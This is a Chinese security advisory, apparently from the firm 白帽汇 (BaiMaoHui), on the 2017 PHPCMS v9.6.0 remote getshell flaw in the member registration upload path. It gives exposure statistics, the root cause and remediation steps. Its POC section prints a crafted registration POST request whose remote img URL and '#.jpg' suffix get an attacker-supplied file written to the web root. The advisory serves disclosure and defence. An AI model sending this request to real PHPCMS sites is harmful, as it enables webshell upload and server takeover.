【漏洞预警】PHPCMSV9_Getshell漏洞

匿名者  2570天前

2017年4月10日PHPCMS v9.6版本0day漏洞被放出。该漏洞影响最新版本的phpcms系统,可使远程攻击者你直接获取webshell,提升权限,甚至控制整个服务器。

PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式.是一款具备文章、下载、图片、分类信息、影视、商城、采集、财务等众多功能的强大、易用、可扩展的优秀网站管理软件。目前政府,教育,地方门户等均有使用该系统。

根据白帽汇FOFA系统统计,PHPCMS系统在互联网上共有超过8万网站使用。其中存在漏洞的共有4380个,中国地区共有4127网站受影响。其中涉及到政府网站108个,教育网站57个。

1.png

2.png

PHPCMS全球分布情况(仅为分布情况,非漏洞影响情况) 

3.png

4.png

PHPCMS中国地区分布情况(仅为分布情况,非漏洞影响情况)

漏洞原理与危害

攻击者准备一个恶意代码的文本文件在远程服务器上,通过构造的恶意请求即可直接获取webshell。问题主要在于/phpcms/modules/member/index.php 中的 register 方法使用了$member_input‐>get 方法,该方法最终会调用/phpcms/libs/classes/attachment.class.php 文件中的download方法下载文件到uploadfile的子目录下,对下载地址过滤不严格导致最终漏洞产生。

攻击者利用该漏洞可以获取网站完整权限,控制整个网站,甚至服务器。危害巨大。

漏洞影响

该漏洞影响最新的PHPCMSV9.6.0版本。PHPCMSV9以前版本不受影响。开启了注册功能(默认开启)的网站,任何可以访问网站的人都可以利用该漏洞上传webshell到网站的uploadfile子目录下。

漏洞影响范围

5.png

PHPCMS V9.6.0 Getshell漏洞影响全球行政区域分布情况

6.png

PHPCMS V9.6.0 Getshell漏洞影响地区 TOP 10

漏洞POC

测试方法(该漏洞代码来自于互联网):

http://target/index.php?m=member&c=index&a=register&siteid=1

POST内容:

siteid=1&modelid=11&username=bmhtest&password=bmhtest1&email=bmhtest@test.com&info%5Bcontent%5D=%3Cimg%20src=http://www.phpcms.cn/robots.txt#.jpg>&dosubmit=1&protocol=http

(注意: username 和 email 不要和之前有重复。)

测试效果如下:

7.png

修复建议

1、由于还未发布补丁,可人工对漏洞代码进行修改。将/phpcms/libs/classes/attachment.class.php 文件中166行加上一句检查代码
    if(!preg_match("/($ext)/i", $filename)) continue;
2、设置网站目录下uploadfile目录以及子目录不解析动态脚本。用户可根据具体情况自行进行设定。修改配置完成后重启即可。
3、安装相关防护软件或使用相关防护设备,政府和教育用户可安装G01防护软件。

白帽汇会持续对该漏洞进行跟进。后续可以关注链接

参考

北京白帽汇科技有限公司是一家专注于安全大数据、企业威胁情报,为企业提供尖端安全产品和服务的一家高科技互联网企业。 公司产品包括:EWSIS-企业web安全监控系统、ETSS-企业威胁感知系统、ANDERSEN-企业威胁感知平台(SAAS)、NOSEC-大数据安全协作平台。 可为企业提供:网站安全监控、企业资产收集、漏洞扫描、安全日志分析、员工邮箱泄露监测、企业威胁情报、应急响应、安全代维等解决方案和服务。

最新评论

昵称
邮箱
提交评论